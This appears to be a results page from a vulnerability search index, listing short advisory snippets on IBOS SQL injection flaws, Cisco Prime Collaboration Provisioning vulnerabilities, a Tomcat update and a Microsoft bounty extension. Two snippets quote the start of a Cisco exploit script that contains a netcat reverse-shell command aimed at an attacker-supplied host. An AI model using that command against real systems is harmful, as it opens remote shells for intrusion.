Lucene search
+L

5383 matches found

CNVD
CNVD
•added 2017/10/04 12:00 a.m.•9 views

SQL Injection Vulnerability in IBOS Enterprise Collaboration Management Software CategoryController.php Page

IBOS Enterprise Collaboration Management Software is a PHP-based collaborative office management system. A SQL injection vulnerability exists in the CategoryController.php page of IBOS Enterprise Collaboration Management Software. An attacker is allowed to exploit the vulnerability to obtain...

7.6AI score
SaveExploits0
CNVD
CNVD
•added 2017/10/04 12:00 a.m.•11 views

SQL Injection Vulnerability in IBOS Enterprise Collaboration Management Software OfficialdocController.php Page

IBOS Enterprise Collaboration Management Software is a PHP-based collaborative office management system. A SQL injection vulnerability exists in the IBOS Enterprise Collaboration Management Software OfficialdocController.php page. An attacker is allowed to exploit the vulnerability to obtain...

7.6AI score
SaveExploits0
n0where
n0where
•added 2017/10/02 1:24 a.m.•38 views

Open Source Invalid Traffic Detection: Nameles

Nameles provides an easy to deploy, scalable IVT detection and filtering solution that is proven to detect at a high level of accuracy ad fraud and other types of invalid traffic such as web scraping. Comprehensive Detection Detects display, video and in-app based ad fraud, web scraping and other...

6.7AI score
SaveExploits0References3
Packet Storm
Packet Storm
•added 2017/09/29 12:00 a.m.•61 views

Cisco Prime Collaboration Provisioning Authentication Bypass / Code Execution

Exploit Title: Cisco Prime Collaboration Provisioning function encode echo "$1" | perl -MURI::Escape -ne 'chomp;print uriescape$,"\n"' TARGET=$1 ATTACKER=$2 PORT=$3 BASH=$encode "/bin/bash" COMMAND=$encode "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&1|nc $ATTACKER $PORT /tmp/f"...

10CVSS1AI score0.6217EPSS
SaveExploits6
zdt
zdt
•added 2017/09/28 12:00 a.m.•64 views

Cisco Prime Collaboration Provisioning < 12.1 - Authentication Bypass / Remote Code Execution Exp

Exploit for hardware platform in category remote exploits Exploit Title: Cisco Prime Collaboration Provisioning function encode echo "$1" | perl -MURI::Escape -ne 'chomp;print uriescape$,"\n"' TARGET=$1 ATTACKER=$2 PORT=$3 BASH=$encode "/bin/bash" COMMAND=$encode "rm /tmp/f;mkfifo /tmp/f;cat...

10CVSS9.2AI score0.6217EPSS
SaveExploits6
seebug.org
seebug.org
•added 2017/09/22 12:00 a.m.•26 views

IBOS企业协同管理软件最新开源版一处SQL注入

No description provided by source...

7.1AI score
SaveExploits0
MSRC
MSRC
•added 2017/09/15 10:10 p.m.•26 views

Extending the Microsoft Office Bounty Program

Microsoft announces the extension of the Microsoft Office Bounty Program through December 31, 2017. This extension is retroactive for any cases submitted during the interim. The engagement we have had with the security community has been great and we are looking to continue that collaboration on...

7.2AI score
SaveExploits0
MSRC
MSRC
•added 2017/09/15 7:00 a.m.•14 views

Extending the Microsoft Office Bounty Program

Microsoft announces the extension of the Microsoft Office Bounty Program through December 31, 2017. This extension is retroactive for any cases submitted during the interim. The engagement we have had with the security community has been great and we are looking to continue that collaboration on...

6.9AI score
SaveExploits0
MSRC
MSRC
•added 2017/09/15 7:00 a.m.•25 views

Extending the Microsoft Office Bounty Program

Microsoft announces the extension of the Microsoft Office Bounty Program through December 31, 2017. This extension is retroactive for any cases submitted during the interim. The engagement we have had with the security community has been great and we are looking to continue that collaboration on...

2.5AI score
SaveExploits0
Fedora
Fedora
•added 2017/09/14 9:55 p.m.•66 views

[SECURITY] Fedora 26 Update: tomcat-8.0.46-1.fc26

Tomcat is the servlet container that is used in the official Reference Implementation for the Java Servlet and JavaServer Pages technologies. The Java Servlet and JavaServer Pages specifications are developed by Sun under the Java Community Process. Tomcat is developed in an open and participator...

4.3CVSS2.8AI score0.08037EPSS
SaveExploits0
CNVD
CNVD
•added 2017/09/08 12:00 a.m.•9 views

IBOS Enterprise Collaboration Management Software WeiboController.php page actionFollowing function has SQL injection vulnerability

IBOS Enterprise Collaboration Management Software is a PHP-based collaborative office management system. A SQL injection vulnerability exists in the WeiboController.php page of IBOS Enterprise Collaboration Management Software. An attacker is allowed to exploit the vulnerability to obtain sensiti...

7.6AI score
SaveExploits0
CNVD
CNVD
•added 2017/09/08 12:00 a.m.•15 views

Cisco Prime Collaboration Provisioning Tool Information Disclosure Vulnerability

Cisco Prime Collaboration Provisioning Tool is a set of Web-based, next-generation communications services tools from Cisco. The tool provides IP communication services capabilities for IP telephony, voice mail and unified communications environments. An information disclosure vulnerability exist...

6.5CVSS6.3AI score0.01203EPSS
SaveExploits0References1
seebug.org
seebug.org
•added 2017/09/08 12:00 a.m.•25 views

IBOS enterprise collaboration management software the latest open source version of an SQL injection 2

No description provided by source...

7.1AI score
SaveExploits0
seebug.org
seebug.org
•added 2017/09/08 12:00 a.m.•30 views

IBOS enterprise collaboration management software the latest open source version of an SQL injection

No description provided by source...

7.1AI score
SaveExploits0
NVD
NVD
•added 2017/09/07 9:29 p.m.•25 views

CVE-2017-6792

A vulnerability in the batch provisioning feature in Cisco Prime Collaboration Provisioning Tool could allow an authenticated, remote attacker to overwrite system files as root. The vulnerability is due to lack of input validation of the parameters in BatchFileName and Directory. An attacker coul...

8.5CVSS6.5AI score0.01921EPSS
SaveExploits0References3
CVE
CVE
•added 2017/09/07 9:00 p.m.•68 views

CVE-2017-6792

CVE-2017-6792 : Cisco Prime Collaboration Provisioning Tool’s batch provisioning feature is vulnerable due to lack of input validation of parameters in BatchFileName and Directory. An authenticated, remote attacker could exploit this to overwrite system files as root. Root cause and impact are de...

8.5CVSS6.4AI score0.01921EPSS
SaveExploits0References3Affected Software1
CVE
CVE
•added 2017/09/07 9:00 p.m.•72 views

CVE-2017-6793

The CVE-2017-6793 entry concerns Cisco Prime Collaboration Provisioning Tool, specifically its Inventory Management feature. A vulnerability arises from insufficient protection of restricted information, enabling an authenticated, remote attacker to view sensitive data through the user interface....

6.5CVSS6.2AI score0.01203EPSS
SaveExploits0References2Affected Software1
Rapid7 Vulnerability Database (full)
Rapid7 Vulnerability Database (full)
•added 2017/09/07 12:00 a.m.•9 views

CVE-2017-6793: Exposure of Sensitive Information to an Unauthorized Actor

A vulnerability in the Inventory Management feature of Cisco Prime Collaboration Provisioning Tool could allow an authenticated, remote attacker to view sensitive information on the system. The vulnerability is due to insufficient protection of restricted information. An attacker could exploit th...

6.5CVSS5.9AI score0.01203EPSS
SaveExploits0References2
Rapid7 Vulnerability Database (full)
Rapid7 Vulnerability Database (full)
•added 2017/09/07 12:00 a.m.•9 views

CVE-2017-6792: Improper Input Validation

A vulnerability in the batch provisioning feature in Cisco Prime Collaboration Provisioning Tool could allow an authenticated, remote attacker to overwrite system files as root. The vulnerability is due to lack of input validation of the parameters in BatchFileName and Directory. An attacker coul...

8.5CVSS6AI score0.01921EPSS
SaveExploits0References2
Positive Technologies
Positive Technologies
•added 2017/09/07 12:00 a.m.•6 views

PT-2017-17326

Name of the Vulnerable Software and Affected Versions Cisco Prime Collaboration Provisioning Tool affected versions not specified Description A vulnerability in the Inventory Management feature could allow an authenticated, remote attacker to view sensitive information on the system. This is due ...

6.5CVSS0.01203EPSS
SaveExploits0References3
Rows per page
Query Builder